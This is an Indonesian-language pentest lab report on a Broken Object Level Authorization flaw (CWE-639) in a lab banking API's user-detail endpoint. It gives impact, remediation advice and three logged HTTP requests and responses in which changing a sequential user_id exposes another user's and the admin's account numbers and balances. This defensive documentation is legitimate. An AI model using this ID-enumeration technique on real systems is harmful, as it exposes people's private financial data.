Kembali ke indeks

LAB FAIL

Broken Object Level Authorization - Users - User Detail API

Broken Object Level Authorization — Users — User Detail API

CWE-639: Authorization Bypass Through User-Controlled Key · OWASP A01:2021 - Broken Access Control

Kerentanan

[FAIL] Broken Object Level Authorization - Users - User Detail API

Deskripsi

Endpoint /api/v3/user/<user_id> mengembalikan profil pengguna berdasarkan user_id pada path tanpa memeriksa bahwa profil tersebut milik pemegang token atau bahwa pemanggil adalah administrator. user_id berupa bilangan berurutan.

Dampak

Confidentiality (High): pengguna terautentikasi mana pun dapat menghitung naik user_id untuk memanen profil seluruh nasabah, termasuk nomor rekening, saldo, bio, dan penanda administrator. Data ini menjadi bahan baku serangan lanjutan: nomor rekening yang diperoleh dipakai pada IDOR saldo dan transfer, sedangkan penanda is_admin mengidentifikasi target bernilai tinggi.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

A01:2021 - Broken Access Control

Skenario

Normal: penyerang membaca profilnya sendiri (user_id 2). Eksploitasi: user_id diganti 3 -> profil korban terbaca. Dampak: user_id 1 dibaca -> profil administrator beserta nomor rekening, saldo, dan is_admin true terekspos ke pengguna biasa.

Endpoint

GET http://127.0.0.1:5001/api/v3/user/<user_id>

Fitur terdampak

API detail pengguna (dipakai panel admin untuk modal detail user)

Rekomendasi perbaikan

- Batasi endpoint agar hanya mengembalikan profil pemilik token, dan sediakan endpoint administratif terpisah yang memeriksa peran dari database. - Gunakan UUID acak sebagai identifier pengguna. - Kurangi field pada respons seminimal yang dibutuhkan antarmuka.

Bukti konsep

  1. (Screenshot 1) NORMAL: penyerang membaca profilnya sendiri pada user_id 2.
  2. (Screenshot 2) EKSPLOITASI: user_id 3 dibaca -> profil korban terekspos.
  3. (Screenshot 3) DAMPAK CIA: user_id 1 dibaca -> profil administrator, nomor rekening ADMIN001, saldo, dan is_admin true terekspos ke pengguna biasa.

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

HTTP request
GET /api/v3/user/2 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 197
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:15 GMT

{
  "status": "success",
  "user": {
    "account_number": "0932191785",
    "balance": -8100.0,
    "bio": null,
    "id": 2,
    "is_admin": false,
    "username": "pentest_attacker"
  }
}
Tangkapan layar
HTTP request
GET /api/v3/user/3 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 195
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:16 GMT

{
  "status": "success",
  "user": {
    "account_number": "9159912486",
    "balance": 10100.0,
    "bio": null,
    "id": 3,
    "is_admin": false,
    "username": "pentest_victim"
  }
}
Tangkapan layar
HTTP request
GET /api/v3/user/1 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 185
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:17 GMT

{
  "status": "success",
  "user": {
    "account_number": "ADMIN001",
    "balance": 1000000.0,
    "bio": null,
    "id": 1,
    "is_admin": true,
    "username": "admin"
  }
}
Tangkapan layar

← Kasus sebelumnya: Broken Object Level Authorization - Merchant Payments - Payments By Merchant Kasus berikutnya: Broken Object Level Authorization - Virtual Cards - Card Operations →